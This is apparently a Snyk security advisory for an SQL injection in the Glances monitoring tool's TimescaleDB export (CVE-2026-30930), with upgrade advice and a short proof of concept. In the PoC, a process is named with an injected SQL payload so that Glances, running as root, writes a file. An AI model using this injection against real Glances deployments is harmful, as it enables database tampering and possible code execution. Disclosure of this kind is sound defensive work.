SQL Injection Affecting glances package, versions [,4.5.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.03% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-GLANCES-15469089
  • published12 Mar 2026
  • disclosed9 Mar 2026
  • creditAman Rawat

Introduced: 9 Mar 2026

CVE-2026-30930  (opens in a new tab)
CWE-89  (opens in a new tab)

How to fix?

Upgrade Glances to version 4.5.1 or higher.

Overview

Glances is an A cross-platform curses-based monitoring tool

Affected versions of this package are vulnerable to SQL Injection via the normalize() function in the TimescaleDB export module, which constructs SQL queries using unsanitized system monitoring data such as process names, filesystem mount points, network interface names, or container names. An attacker can execute arbitrary SQL commands, exfiltrate database data, or potentially achieve remote code execution by crafting process names or other monitored values containing malicious SQL payloads.

PoC

  • As a normal user, create a process with the name containing the SQL Injection payload:

exec -a "x'); COPY (SELECT version()) TO '/tmp/sqli_proof.txt' --" python3 -c 'import time; [sum(range(500000)) or time.sleep(0.01) for _ in iter(int, 1)]'

  • Start Glances with TimescaleDB export as root user:

glances --export timescaledb --export-process-filter ".*" --time 5 --stdout cpu

  • Observe that sqli_proof.txt is created in /tmp directory.

CVSS Base Scores

version 4.0
version 3.1